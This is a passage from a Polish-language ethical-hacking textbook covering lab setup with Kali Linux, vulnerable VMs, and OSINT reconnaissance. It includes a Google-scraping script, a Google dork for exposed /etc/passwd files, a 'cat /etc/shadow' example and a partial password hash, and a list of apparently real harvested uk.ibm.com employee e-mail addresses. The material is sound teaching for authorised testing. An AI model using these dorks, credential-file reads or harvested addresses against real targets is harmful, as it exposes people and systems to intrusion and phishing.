Apple — klawisz Cmd) i wywołując tym samym pasek wyszukiwania. Gdy wpiszesz w nim słowo
terminal, na ekranie powinna pojawić się ikona terminala. Po zaznaczeniu tej ikony możesz naci-
snąć klawisz Enter, aby uruchomić program. Inna metoda polega na przesunięciu wskaźnika myszy
nad lewą stronę ekranu, aby wywołać menu z ikonami często używanych narzędzi, i wybraniu
z niego ikony terminala.

3681988c430c7fe1e8567c4e2f281f7b
3
Testowanie wirtualnego środowiska 81

Od teraz będziesz często korzystać z okna terminala. Możesz otwierać w nim nowe karty, naci-
skając klawisze Ctrl+Shift+T. Czasami konieczne jest pozostawienie w jednej karcie działającego
programu i przejście do kolejnej karty, żeby wykonać w niej inną czynność związaną z przeprowa-
dzanym atakiem. Jeżeli zajdzie taka potrzeba, oczywiście będziemy o tym informować.
Na początek warto wypróbować polecenie ping. Będziemy próbować wysłać sygnał „ping” do
serwera pocztowego, aby zyskać pewność, że jest on dostępny dla maszyny wirtualnej Kali Linux.
W tym celu musisz znać adres IP serwera pocztowego. Jak pamiętasz, adres jest podawany na ekra-
nie logowania pokazanym na rysunku 3.13 (w tym przypadku był to adres 192.168.48.4). I tylko do
tego będzie nam potrzebny ekran maszyny wirtualnej laboratorium — do odczytywania jej adresu IP.
W każdej instalacji adres IP może być inny, a zależy on od konfiguracji przygotowanej na wstępie.
W oknie terminala wprowadź zatem polecenie ping <docelowyAdresIP>, przy czym <docelowyAdresIP>
powinien zostać zastąpiony właściwym adresem maszyny wirtualnej. Jeżeli serwer pocztowy będzie
osiągalny, to na ekranie zobaczysz takie komunikaty jak poniżej:
PING 192.168.48.4 (192.168.48.4) 56(84) bytes of data.
64 bytes from 192.168.48.4: icmp_seq=1 ttl=63 time=0.484 ms
64 bytes from 192.168.48.4: icmp_seq=2 ttl=63 time=0.535 ms
64 bytes from 192.168.48.4: icmp_seq=3 ttl=63 time=0.602 ms
64 bytes from 192.168.48.4: icmp_seq=4 ttl=63 time=0.503 ms

Polecenie ping wysyła na wskazany adres pakiety ECHO_REQUEST protokołu ICMP (Internet Con-
trol Message Protocol), które popularnie nazywane są „pingami”. Jeżeli odpowiednio skonfiguro-
wany komputer odbierze pakiet ECHO_REQUEST, to w odpowiedzi odeśle pakiet ECHO_REPLY. Działa-
nie polecenia ping można przerwać naciśnięciem klawiszy Ctrl+C. Korzystając z polecenia ping,
można też użyć opcji -c, która pozwala określić liczbę wysyłanych pakietów. Jeżeli pominiesz tę
opcję, to pakiety ECHO_REQUEST będą wysyłane w nieskończoność. Po zakończeniu lub przerwaniu
działania polecenia ping zobaczysz poniższe komunikaty:
^C
--- 192.168.56.4 ping statistics ---
9 packets transmitted, 9 received, 0% packet loss, time 164ms
rtt min/avg/max/mdev = 0.617/0.733/0.880/0.076 ms

Z tych komunikatów można się dowiedzieć, że wysłano 9 pakietów i odebrano 9 odpowiedzi.

Dzięki temu, że maszyny wirtualne systemu Kali Linux i serwera pocztowego działają w tym samym
komputerze i komunikują się poprzez wirtualną sieć, nie powinniśmy natrafić tu na żadne pro-
blemy komunikacyjne. Jeżeli jednak nie możesz uzyskać żadnej odpowiedzi od swojego serwera
pocztowego, to przejdź jeszcze raz wszystkie kroki opisane w tym rozdziale i sprawdź, czy wszystko
zostało poprawnie skonfigurowane. Pamiętaj, że pakiety są przesyłane do maszyny wirtualnej ser-
wera pocztowego z maszyny wirtualnej Kali Linux, a obie te maszyny są połączone ze sobą wir-
tualną siecią wewnątrz hosta, którą już wcześniej utworzyliśmy. Jeżeli rozumiesz to wszystko,
co robiliśmy do tej pory, i udało Ci się „pingować” serwer pocztowy z systemu Kali Linux, to mo-
żemy przejść do kolejnych kroków. Bardziej dociekliwych zachęcam do przeczytania dokumentu
RFC 792, który zawiera szczegóły działania protokołu ICMP wraz z opisem sposobów używania go
do „pingowania” hostów.

3681988c430c7fe1e8567c4e2f281f7b
3
82 Rozdział 3  Przygotowanie narzędzi do hakowania

Tworzenie serwera z podatnościami

Skoro poznaliśmy już podstawy używania maszyn wirtualnych w VirtualBoksie, możesz spróbować
skonfigurować osobną maszynę wirtualną wyłącznie po to, żeby się do niej włamać. To bardzo popu-
larna metoda pozwalająca amatorom i doświadczonym hakerom na nabywanie nowych umiejęt-
ności. Wystarczy tylko pobrać obraz ISO interesującego Cię systemu operacyjnego i zainstalować
go w nowej maszynie wirtualnej. Nie musisz tworzyć własnych płyt CD typu Live, bo lepszym roz-
wiązaniem jest instalowanie takich systemów, tak jak zainstalowaliśmy system Kali Linux. Następ-
nie możesz zainstalować dodatkowe oprogramowanie, które chcesz przetestować w maszynie wir-
tualnej, takie jak serwer WWW albo serwer DNS (Domain Name System).
W sieci możesz też znaleźć wiele maszyn wirtualnych z systemami z różnymi podatnościami.
Jednym z przykładów jest serwer pocztowy udostępniany przez firmę Hacker House, choć tego
rodzaju maszyn wirtualnych jest naprawdę dużo. Istnieją też różne wyzwania dla hakerów, takie
jak wyzwanie „boot2root” dostępne na stronach VulnHub (www.vulnhub.com).
W kolejnych rozdziałach będziemy podawać dodatkowe wskazówki dotyczące konfigurowania
własnych maszyn wirtualnych na potrzeby testowania i ćwiczeń. Po przeczytaniu tej książki możesz
spróbować zainstalować system Windows XP i sprawdzić, ile czasu zajmie Ci włamanie się do niego.

W łatwiejszym wariancie możesz wyłączyć zaporę sieciową systemu Win-

dows XP. Jeżeli chcesz zmierzyć się z większym wyzwaniem, włącz zaporę sieciową i spróbuj
włamać się przez przeglądarkę.
Kolejnym doskonałym zastosowaniem maszyn wirtualnych jest testowanie exploitów lub na-
rzędzi, które chcemy uruchomić na maszynie klienta albo do zarażania systemu złośliwym opro-
gramowaniem w odizolowanym środowisku, pozwalającym na jego badanie. W zwirtualizowanych
środowiskach można najpierw przetestować różne programy, aby sprawdzić, jak one działają,
przed uruchomieniem ich we właściwych systemach. Trzeba jednak pamiętać, że nie każde złośliwe
oprogramowanie działa tak samo w maszynie wirtualnej i na fizycznym komputerze. Oznacza to,
że nie jest to całkiem pewne rozwiązanie.

Żaden rozsądny haker nie powinien uruchamiać złośliwego oprogramowa-

nia w systemach, które nie należą do niego. Kropka. Takie praktyki niemal na pewno ściągną
na Ciebie kłopoty prawne. Jeżeli musisz uruchomić złośliwe oprogramowanie we własnym
systemie, upewnij się, że nie będzie ono mogło zainfekować innych systemów. Oznacza to,
że takie urządzenie nie powinno być podłączone do internetu ani do żadnej innej sieci.
Samo oprogramowanie (w tym i to złośliwe) nie powinno też mieć możliwości samodziel-
nego podłączenia komputera do sieci (na przykład za pośrednictwem wi-fi).
Istnieją specjalne exploity nazywane ucieczkami z hypervisora, które sprawiają, że kod wykony-
wany w maszynie wirtualnej zaczyna działać w systemie hosta. Takie sztuczki tylko rzadko można
zaobserwować w rzeczywistych rozwiązaniach. Jeżeli starasz się regularnie aktualizować Virtual-
Boksa (albo innego hypervisora), to raczej nie musisz się nimi przejmować. Mimo to zachowuj
szczególną ostrożność przy pierwszym uruchamianiu nowego lub nie do końca poznanego kodu
w takich systemach.

3681988c430c7fe1e8567c4e2f281f7b
3
Podsumowanie 83

Podsumowanie
Po zakończeniu tego rozdziału musisz mieć na swoim komputerze (hoście) zainstalowanego hype-
rvisora VirtualBox, a w nim działające dwie maszyny wirtualne, nazywane też systemami-gośćmi.
W jednej z maszyn wirtualnych zainstalowany jest system Kali Linux, a w drugiej można urucho-
mić system z serwerem pocztowym lub specjalny system-laboratorium przygotowany na potrzeby
tej książki. To wszystko, czego będziesz potrzebować do wykonywania ćwiczeń prezentowanych
w kolejnych rozdziałach tej książki. W niektórych rozdziałach będziemy podawać dodatkowe
wskazówki ułatwiające przygotowywanie własnych maszyn wirtualnych z różnymi podatnościami,
których można używać do hakowania wybranych programów lub technologii. Wykorzystamy
również różne narzędzia i techniki do atakowania rzeczywistych systemów. Za każdym razem bę-
dziemy jednak jasno zaznaczać takie sytuacje.
Wyjaśniliśmy, jak można zaszyfrowywać różne nośniki danych, i przedstawiliśmy kilka metod
komunikowania się z innymi ludźmi za pomocą zaszyfrowanych wiadomości e-mail. Te rozwiązania
przydają się (a nawet są niezbędne) szczególnie wtedy, gdy zaczynamy pracować dla swoich klien-
tów, pracodawcy albo gdy bierzemy udział w programach nagradzania za wyszukiwanie błędów.
Od tego momentu wszystkie polecenia powinny być uruchamiane w oknie terminala, wewnątrz
maszyny wirtualnej Kali Linux. W następnym rozdziale wykorzystamy tę maszynę wirtualną do
atakowania symulowanych, istniejących w rzeczywistości systemów, co oznacza, że jeszcze nie
będziemy używać własnej maszyny wirtualnej z podatnościami. Wrócimy do niej dopiero w roz-
dziale 5. „System DNS”.

3681988c430c7fe1e8567c4e2f281f7b
3
 Rozdział

4
Zbieranie danych
z otwartych źródeł

Złośliwy haker, który ma zamiar w jakiś sposób uzyskać dostęp do sieci komputerowej danej orga-
nizacji, z całą pewnością najpierw będzie próbował zbierać informacje na temat samej organizacji
i jej systemów komputerowych. Zapewne będzie szukać informacji na temat osób pracujących dla tej
organizacji albo z nią współpracujących. Będzie tworzyć listy nazw domen, nazw hostów, adresów
IP, adresów URL, adresów e-mail, potencjalnych haseł. I to wszystko będzie robione jeszcze przed
wysłaniem pierwszego pakietu danych do urządzeń powiązanych z celem hakera.
O złośliwym hakerze można myśleć jak o zdecydowanym, niestrudzonym i podstępnym osob-
niku (albo całej grupie). Lepiej jest usunąć z umysłu wszystkie inne obrazy, jakie przychodzą Ci na
myśl w połączeniu ze słowem haker.
Proces gromadzenia informacji, niezależnie od tego, czy prowadzony przez nas, czy przez nich,
wykorzystuje swobodnie dostępne, publiczne informacje, z których może skorzystać każdy, jeżeli
tylko tego chce i wie, gdzie ich szukać. Takie informacje nie są w żaden sposób chronione, a ich
uzyskanie nie wymaga ponoszenia żadnych kosztów. Z tego powodu te informacje można nazwać
otwartymi źródłami. Każdy tester penetracyjny i etyczny haker musi być przynajmniej tak sprawny
jak złośliwy haker i musi odpowiednio skrupulatnie gromadzić swoje informacje, tworząc własny
obraz swojego celu (czyli firmy i sieci klienta), i to jeszcze zanim przystąpi do jakichkolwiek aktywnych
działań. Złośliwy haker może nie interesować się stroną WWW swojego celu, ale my z całą pewnością
musimy się jej przyjrzeć już na początku naszych prac. Firmy często chcą uzyskać ocenę informacji
z otwartych źródeł (ang. Open Source Intelligence — OSINT), aby dowiedzieć się, jakie informacje
o nich mogą znaleźć osoby planujące przeprowadzenie ataku na ich infrastrukturę. Prowadząc tego
rodzaju ocenę, można zidentyfikować różne podatności lub ryzyka, które normalnie pozostają nie-
zauważone. Jak się przekonasz, bardzo łatwo można nie zauważyć ogromnych luk istniejących w ze-
wnętrznej infrastrukturze organizacji, które często powstają w wyniku działań jej pracowników.

84

3681988c430c7fe1e8567c4e2f281f7b
3
Czy Twój klient potrzebuje analizy OSINT? 85

Tester i klient muszą wspólnie ustalić, które systemy mają być poddawane te-
stom i gdzie te systemy mają się znajdować. Samo ustalenie zakresu prac testowych może
nastąpić już po zakończeniu fazy OSINT, ponieważ do tego czasu nie są prowadzone testy
żadnych systemów klienta.

Czy Twój klient potrzebuje analizy OSINT?

Nie każdy klient chce przeprowadzenia analizy OSINT. Co więcej, nie każdy jej tak naprawdę po-
trzebuje. Wykonując pracę etycznego hakera, musisz pamiętać, że od samego początku wykonujesz
dla swojego klienta pewną usługę. Taka usługa powinna przedstawiać odpowiednią jakość, a to
oznacza przygotowanie dokładnej i szczegółowej analizy uzgodnionych wcześniej systemów kom-
puterowych, zgodnie z wytycznymi zawartymi w umowie. Jeżeli klient nie potrzebuje wykonania
dodatkowych testów (co wiąże się z poświęceniem pewnej ilości czasu) związanych z OSINT, to nie
należy go namawiać do ich prowadzenia. W większości projektów konieczne będzie przeprowa-
dzenie choć ograniczonej analizy otwartych źródeł, ale zwykle nie wymaga to szczegółowego prze-
glądania działań pracowników w mediach społecznościowych. Zwykle wystarczy ograniczyć się do
sondowania za pomocą ograniczonej liczby typowych ataków, które będziemy omawiać w tej książce.
W idealnym świecie klient powinien korzystać z naszych usług przez dłuższy czas, co pozwolił
nam na symulowanie działań prowadzonych przez złośliwego hakera, który może spędzić całe mie-
siące na zbieraniu informacji i planowaniu ataku. Bardzo mało prawdopodobne jest, że organizacja
będzie chętna do płacenia niemałych pieniędzy za to, że będziesz przeglądać sieć WWW w poszu-
kiwaniu informacji na jej temat.
W tym rozdziale zakładamy, że klient (którego często będziemy opisywać jako cel naszych prac)
zażądał wykonania bardziej rozbudowanego i dokładnie opisanego przeglądu OSINT. Zbieranie
informacji OSINT jest zazwyczaj działaniem pasywnym, którego celem jest zidentyfikowanie od-
powiednich celów i systemów, rodzajów i wersji oprogramowania oraz szczególnych osób, które
można wykorzystać podczas późniejszych etapów testowania. W dalszej części tego rozdziału po-
każemy, jak można próbkować system, wysyłając pakiety do wybranego celu. W tym przypadku
mówimy o aktywnej fazie przeprowadzania oceny. Na razie zajmiemy się jednak zbieraniem infor-
macji z publicznie dostępnych źródeł, takich jak wyniki zapytań do wyszukiwarek.
Gdy szukasz informacji za pomocą takich wyszukiwarek jak DuckDuckGo, Bing lub Google, to
nie przesyłasz żadnych danych do interesującej Cię firmy. Oznacza to, że nie uzyskujesz informacji
bezpośrednio od swojego celu, czyli nie jest on w stanie stwierdzić, że ktoś gromadzi informacje
na jego temat. Korzystając z wyszukiwarek, wysyłasz tylko zapytania do bazy danych należącej do
firmy trzeciej, pobierając z niej informacje o Twoim celu. Jeżeli wyszukujesz za pomocą Google, to
uzyskujesz dostęp do systemów firmy Google, a nie do systemów swojego klienta. Dla zewnętrz-
nego obserwatora taki ruch sieciowy wygląda zupełnie niegroźnie, bo jest bardzo podobny do wy-
szukiwania wykonywanego podczas badań akademickich lub dziennikarskich. Trzeba jednak
pamiętać, że wszystkie informacje uzyskiwane z zewnętrznych źródeł należy traktować z pewną
rezerwą. Nie można ślepo wierzyć we wszystko, co znajdziemy w sieci. Co więcej, część takich da-
nych może być celowo zafałszowana, aby zmylić ewentualnych atakujących i zaalarmować firmę
o przygotowywanym lub prowadzonym ataku.

3681988c430c7fe1e8567c4e2f281f7b
3
86 Rozdział 4  Zbieranie danych z otwartych źródeł

Czego należy szukać?

Celem działań związanych z OSINT jest zbieranie informacji, które mogą ułatwić przeprowadzenie
właściwego ataku, aby uzyskać dostęp do systemów komputerowych organizacji bez jej autoryzacji.
Oczywiście przed przeprowadzeniem takich ataków należy uzyskać od firmy odpowiednie pozwo-
lenie. Jeżeli znajdziesz takie informacje jak nazwy użytkowników lub hasła, to jest to oczywiście
bardzo cenne, ale musisz jeszcze wiedzieć, gdzie tych informacji można użyć. Pamiętaj, że na tym
etapie nie wiesz jeszcze prawie nic o swoim celu, dlatego musisz poszukiwać związanych z nim
stron WWW oraz aplikacji. Musisz znaleźć hosty (lub komputery) podłączone do internetu z wy-
korzystaniem publicznego adresu IP. Czasami można też znaleźć informacje właściwe dla niepu-
blicznych komputerów lub wewnętrznych hostów. Te również są bardzo przydatne i z pewnością
przydadzą się, gdy uzyskasz już dostęp do wewnętrznych zasobów organizacji. Musisz zatem po-
szukiwać portali VPN, serwerów pocztowych, serwerów WWW lub baz danych, komputerów
z systemem Linux, UNIX lub Windows, urządzeń IoT, czyli niemal wszystkiego, co jest połączone
z internetem oraz choć z częścią sieci organizacji.
Chcemy tutaj przygotować sobie listy adresów IP, nazw hostów oraz nazw domen. W trakcie
poszukiwań nie musisz się ograniczać do pojedynczego źródła informacji. Możesz zdobywać in-
formacje ze stron WWW wybranej firmy albo z kont mediów społecznościowych prowadzonych
przez osoby pracujące dla tej firmy. Do tego możesz wykorzystywać też różne wyszukiwarki. Sporo
informacji można też uzyskać z innych publicznych baz danych, takich jak te prowadzone przez
ICANN (Internet Corporation for Assigned Names and Numbers) lub inne firmy rejestrujące nazwy
domen w internecie.
Nie można ograniczać się do korzystania z jednego rodzaju bazy danych lub źródła informacji.
Na przykład nie należy korzystać wyłącznie z wyszukiwarki Google, ponieważ jej mechanizmy
mogą przechowywać inne informacje niż te zebrane przez wyszukiwarki Bing lub Baidu. Konta
w mediach społecznościowych osób związanych z wybraną firmą, ale też historia ich działań w inter-
necie (chodzi tu o posty zamieszczane na publicznych forach albo przedmioty wystawiane na sprze-
daż w serwisach aukcyjnych) pozwalają uzyskać informacje o używanym przez nie oprogramowa-
niu, uzyskanych certyfikatach, a nawet zdjęcia z firmowych imprez.
Podsumowując, zazwyczaj będziemy poszukiwać następujących rodzajów informacji:
 Nazwy użytkowników, nazwy profili albo adresy e-mail.
 Hasła (klucze prywatne, PIN-y itd.)
 Nazwy domen.
 Nazwy hostów.
 Adresy IP (wewnętrzne i zewnętrzne).
 Rodzaje oprogramowania i systemów operacyjnych, ich nazwy oraz wersje.
 Dokumentacja techniczna, na przykład instrukcje użytkowania systemów.
W rzeczywistości będziemy jednak szukać każdej informacji, która ma jakiś związek z naszym
celem i która dałaby złośliwemu hakerowi jakikolwiek wgląd w systemy komputerowe i oprogra-
mowanie używane przez ten cel. Naszym zadaniem jest znalezienie takich informacji, przetworze-
nie ich i przekazanie ich swojemu klientowi w ramach raportu dotyczącego bezpieczeństwa.

3681988c430c7fe1e8567c4e2f281f7b
3
Gdzie znaleźć te dane? 87

Gdzie znaleźć te dane?

Już wcześniej wymieniliśmy miejsca, w których można poszukiwać tych informacji, ale poniżej po-
dajemy jeszcze podsumowującą listę, która oczywiście nie wyczerpuje tematu:
 Osobiste strony WWW, na przykład blogi.
 Wyniki jak największej liczby wyszukiwarek.
 Media społecznościowe, takie jak LinkedIn, Facebook, Twitter lub Instagram.
 Inne konta często używanych serwisów, takich jak GitHub, fora internetowe lub
listy mailingowe.
 Publiczne bazy danych (ICANN, rejestratorzy nazw domen, biblioteki i książki
telefoniczne).
 Sieci wymiany plików P2P (najczęściej dostępne przez klienty BitTorrent).
Z całą pewnością odwiedzimy też witrynę (lub witryny) internetową naszego klienta. Mówiąc
ściśle, takie odwiedziny nie należą już do działań OSINT, ale trudno byłoby wytłumaczyć klientowi,
dlaczego pominęliśmy tak wartościowe źródło informacji. Co prawda złośliwy haker raczej nie bę-
dzie chętny do takich odwiedzin, aby jak najdłużej unikać wykrycia, ale my nie powinniśmy mieć
takich problemów.
Nie będziemy tu pokazywać, jak poszukiwać informacji w każdym z wymienionych źródeł.
Zajmiemy się raczej opisywaniem narzędzi i technik umożliwiających znajdowanie i przeglądanie
informacji, które można wykorzystać w różnych kontekstach. Teraz zaprezentujemy kilka narzędzi
i aplikacji, którymi można wspomagać się podczas poszukiwań.

Narzędzia do OSINT
Podane poniżej narzędzia są używane przez niemal każdego hakera zajmującego się OSINT-em.
Będziemy je wszystkie opisywać tutaj dokładniej. Wyjątkiem są narzędzia związane z systemem
DNS, ponieważ o nich będziemy mówić w następnym rozdziale. W tym rozdziale omówimy:
 wyszukiwarki (na przykład Google),
 Goog-mail.py,
 interfejsy API publicznych baz danych,
 Recon-ng,
 TheHarvester,
 FOCA,
 Metagoofil,
 Exiftool,
 Maltego CE,
 LinkedInt,
 Shodan,
 różne narzędzia do pracy z systemem DNS, takie jak Dig, Host, Nslookup lub WHOIS.

3681988c430c7fe1e8567c4e2f281f7b
3
88 Rozdział 4  Zbieranie danych z otwartych źródeł

Z pewnością ucieszy Cię informacja, że niemal wszystkie polecane w tej książce narzędzia należą
do kategorii open source, a przynajmniej ich twórcy pozwalają na pobranie i używanie ich bez żad-
nych opłat. W dalszych rozdziałach będziemy wykorzystywać exploity i narzędzia, które wcale nie miały
być publicznie dostępne, ale rzekomo zostały upublicznione przez agencję NSA (National Security
Agency). Zaczniemy od kilku prostych narzędzi i technik, aby powoli zacząć rozwijać swój arsenał.

Pobieranie adresów e-mail za pomocą Google

Typowe działania OSINT zaczynają się od ręcznego przeglądania sieci WWW w poszukiwaniu in-
formacji związanych z naszym celem. Na początek zaczynamy od nazwy firmy i pojedynczego ad-
resu URL. Ręczne przeglądanie sieci z pewnością da nam jakieś informacje, ale w pewnym momencie
będziemy musieli zautomatyzować metody gromadzenia informacji. Przeglądanie tysięcy wyników
wyszukiwania może być naprawdę uciążliwe, dlatego powstało już kilka narzędzi ułatwiających tę pracę.
Zaczniemy od adresów e-mail, które często dają nam też dodatkową informację w postaci
nazw użytkowników, a jeżeli klient się na to zgodzi, to mogą zostać wykorzystane do działań
związanych z inżynierią społeczną i przygotowywania celowanych ataków phishingowych (ang.
spear-phishing). Istnieje prosty skrypt w języku Python o nazwie goog-mail.py, który można
pobrać ze strony www.hackerhousebook.com/files/goog-mail.py. Ten prosty program istnieje już
od dłuższego czasu. Często w tego rodzaju skryptach znajduje się nazwisko ich twórców, ale
nie w tym przypadku. Do dzisiaj nie wiemy, kto go napisał. Możesz pobrać ten skrypt w maszynie
wirtualnej Kali Linux, używając w oknie terminala polecenia wget:
wget --user=student --password=student https://www.hackerhousebook.com/files/goog-mail.py

Na naszej stronie dostępnych jest wiele różnych skryptów, exploitów i narzędzi. Jeżeli korzy-
stasz z takich skryptów jak pobrany właśnie z sieci, dobrze jest najpierw przejrzeć ich kod źródłowy,
aby sprawdzić, czy dany skrypt nie będzie robił niepożądanych rzeczy. Nie przejmuj się, jeżeli
nie umiesz jeszcze czytać kodu takich skryptów. W tej książce wyjaśnimy Ci kilka rzeczy, a skrypty
pobrane z naszej strony (mimo że sami ich nie napisaliśmy) na pewno były już kontrolowane pod
tym kątem.
Oto wycinek skryptu goog-mail.py, który pokazuje, czym zajmuje się to narzędzie:
try:
while page_counter_web < 50 :
results_web = 'http://www.google.com/search?q=%40'+str(domain_name)
+'&hl=en&lr=&ie=UTF-8&start=' + repr(page_counter_web) + '&sa=N'
request_web = urllib2.Request(results_web)
request_web.add_header('User-Agent','Mozilla/4.0(compatible; MSIE 5.5; Windows NT 5.0)')
opener_web = urllib2.build_opener()
text = opener_web.open(request_web).read()
emails_web = (re.findall('([ Shodan mow\.\-]+@'+domain_name+')',
StripTags(text)))
for email_web in emails_web:
d[email_web]=1
uniq_emails_web=d.keys()
page_counter_web = page_counter_web +10

3681988c430c7fe1e8567c4e2f281f7b
3
Pobieranie adresów e-mail za pomocą Google 89

Mamy tutaj pętlę while, która wysyła żądania wyszukiwania na adres www.google.com i w każ-
dym z nich podaje nazwę domeny w połączeniu z kilkoma dodatkowymi opcjami. Następnie skrypt
analizuje odpowiedź wyszukiwarki, poszukując ciągów znaków przypominających adres e-mail.
Innymi słowy, poszukiwany jest znak ampersand (@) połączony z podaną wcześniej nazwą domeny.
Gdyby naszym celem był brytyjski oddział firmy IBM, to skrypt można by uruchomić tak jak
poniżej, podając mu w parametrze ciąg znaków uk.ibm.com, który zostanie przypisany do zmiennej
domain_name:
python2 goog-mail.py uk.ibm.com

Teraz przeszukujemy zasoby rzeczywistej firmy, robiąc to bez jej pozwolenia. W tym przypadku
nie potrzebujemy go, ponieważ uzyskujemy w ten sposób wyłącznie publicznie dostępne dane.
Sprawdźmy zatem, jak może wyglądać wynik działania naszego skryptu:
dineenb@uk.ibm.com
stuart.mcrae@uk.ibm.com
gfhelp@uk.ibm.com
recruitment-isc@uk.ibm.com
BORRETM@uk.ibm.com
Sharon_Bagshaw@uk.ibm.com
tammie.wilde-cic-uk@uk.ibm.com
support_de@uk.ibm.com
bgascoyne@uk.ibm.com
jonathanb@uk.ibm.com
setsj_cook@uk.ibm.com
JSMITH88@uk.ibm.com
UKCAT@uk.ibm.com
palbaner@uk.ibm.com
tim_donovan@uk.ibm.com
Bulbeck@uk.ibm.com
sam.seddon@uk.ibm.com
CCRUK@uk.ibm.com
TotallyGaming.comBulbeck@uk.ibm.com
ichoudhary@uk.ibm.com
ibm_crc@uk.ibm.com
timothy.kelsey@uk.ibm.com
EmployeeClubMembership@uk.ibm.com

W tym skrypcie używamy wyszukiwarki Google, żeby uzyskać adresy e-mail, ale to proste roz-
wiązanie bardzo często zwraca przydatne wyniki. Uzyskane w ten sposób wyniki można zapisać
w pliku tekstowym albo w arkuszu kalkulacyjnym, ponieważ będziemy z nich korzystać później,
przy próbach uzyskania dostępu do systemów. Być może uda się nam też uzyskać ciekawe infor-
macje na temat osób używających tych adresów, a wtedy będziemy mogli uzupełnić te notatki.
Wyszukane w ten sposób adresy e-mail często stają się celem wiadomości spamerskich i prób
rozsyłania złośliwego oprogramowania, ponieważ mogą one zostać łatwo odczytane przez boty za
pomocą podanej wcześniej, prostej techniki. Należy zatem zakładać, że na znalezione adresy z do-
meny uk.ibm.com będzie spływało wiele wiadomości spamerskich, przez co część z nich może nie
być już używana. Ważne jest też, żeby nie ufać za bardzo wynikom zwracanym przez nasze narzę-
dzia i skrypty. Nawet w tym prostym przykładzie konieczne jest ręczne sprawdzenie uzyskanych
wyników, aby upewnić się, że każdy z tych wyników choć trochę przypomina adres e-mail. (W poda-
nej liście jest przynajmniej jedna pozycja, która na pewno nie jest adresem). W ten sposób można
szybko znaleźć adresy firmowe, które zostały udostępnione publicznie.

3681988c430c7fe1e8567c4e2f281f7b
3
90 Rozdział 4  Zbieranie danych z otwartych źródeł

Technika Google dorking

Wyszukiwarkę Google można traktować nie tylko jak wielką bazę danych, z której można pobierać
informacje, ale też jak narzędzie pozwalające na działania OSINT. Zapytanie wyszukujące, którego
zadaniem jest ujawnienie wrażliwych informacji, nazywane jest Google dork. Korzystając z techniki
Google dorking (lub Google hacking, choć tej nazwy nie należy mylić z hakowaniem Google), można
wyszukiwać witryny WWW z określonymi podatnościami. Wystarczy w pasku wyszukiwania wpi-
sać takie zapytania jak inurl:/etc/passwd root:x:0:0:root:/root:/bin/bash. To zapytanie
pomoże znaleźć niewłaściwie zabezpieczone komputery z systemem Linux lub UNIX, które udo-
stępniają swój plik haseł (więcej na ten temat już za chwilę). Zapytanie zwróci nam wyniki zawie-
rające ciąg znaków /etc/passwd w swoim adresie URL oraz zawierające w znalezionym pliku tekst
root:x:0:0:root:/root:/bin/bash, który niemal zawsze znajduje się w linuksowych i uniksowych
plikach haseł. Jeżeli teraz uruchomisz to zapytanie, to zapewne znajdziesz wiele poradników pracy
w Linuksie, ponieważ jest to dość często używany przykład.

Jeżeli kiedykolwiek za pomocą tej techniki znajdziesz niewłaściwie zabez-

pieczony serwer, to nie klikaj linku z listy wyników wyszukiwania, ponieważ to może zostać
potraktowane jak działanie niezgodne z prawem! Podczas przeglądania informacji z wyni-
ków wyszukiwania Google nie wysyłasz jeszcze żadnych danych do serwera docelowego.
Jeżeli jednak klikniesz taki link, to Twój komputer prześle żądanie do niezabezpieczonego
serwera. W niektórych krajach takie działania mogą zostać uznane za niezgodne z prawem,
dlatego należy się od nich powstrzymywać, chyba że masz pisemne pozwolenie na nie
udzielone przez właściciela systemu.

Krótkie wprowadzenie do plików passwd i shadow

W Linuksie i Uniksie plik passwd zazwyczaj może zostać odczytany przez dowolnego użytkownika
systemu (choć zapisywać do niego może tylko użytkownik root), ale jeżeli ten plik jest widoczny
dla dowolnego użytkownika internetu, oznacza to poważne kłopoty. Co prawda w pliku passwd
raczej nie znajdziemy skrótów haseł (te znajdują się w pliku /etc/shadow), ale na pewno znajdują
się w nim nazwy użytkowników danego systemu, a być może również dodatkowe informacje z pola
GECOS. Słowo GECOS pochodzi z systemu operacyjnego z lat 60. XX wieku, ale dzisiaj w ten spo-
sób opisuje się dodatkowe informacje zapisywane w pliku passwd. Wśród nich może znajdować się
imię i nazwisko użytkownika oraz inne informacje identyfikujące.

PLIKI SHADOW

Dawno temu w uniksowych plikach passwd przechowywane były zarówno nazwy użytkowni-
ków zarejestrowanych w danym systemie, jak i ich hasła. Nowoczesne dystrybucje Linuksa
i Uniksa nie pozwalają na swobodny dostęp do pliku przechowującego dane uwierzytelniające
użytkowników. Aktualnie te informacje są rozdzielane między plikami passwd i shadow. Na przy-
kład plik shadow jest używany wtedy, gdy użytkownik loguje się na swoje konto w systemie li-
nuksowym. Wprowadzone przez użytkownika hasło jest przekazywane do funkcji skrótu, a uzy-
skana wartość jest porównywana z wartością zapisaną w pliku shadow. Jeżeli obie wartości są
identyczne, to użytkownik może zostać zalogowany.

3681988c430c7fe1e8567c4e2f281f7b
3
Krótkie wprowadzenie do plików passwd i shadow 91

W całej książce będziemy odwoływać się do plików passwd i shadow, dlatego warto tutaj po-
krótce przyjrzeć się prostym przykładom obu plików, aby wyjaśnić ich znaczenie oraz to, dlaczego
publiczne udostępnienie tych plików może okazać się zgubne. W standardowej dystrybucji Linuksa
możesz przejrzeć zawartość pliku shadow, wpisując poniższe polecenie w oknie terminala:
cat /etc/shadow

W poprawnie skonfigurowanym systemie każdy użytkownik poza użytkownikiem root zobaczy

tylko taki komunikat:
cat: /etc/shadow: Permission denied

Jedynie użytkownik root ma wystarczające uprawnienia, żeby zobaczyć zawartość tego pliku.
Poniżej przedstawiamy wycinek pliku passwd, którego przeglądanie zazwyczaj nie wymaga upraw-
nień użytkownika root:
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
admin:x:1000:1000:Peter,,,:/home/admin:/bin/bash

Poszczególne pola tej tabeli rozdzielane są znakiem dwukropka (:). Poniżej przedstawiamy też
zawartość pliku shadow z tego samego systemu:
root:$6$qrAgBGFw$rPW5czxgifndygfkKhuwVuDDUg.IfSuo.BnzMBdP9lfcmVWffSK9pdX
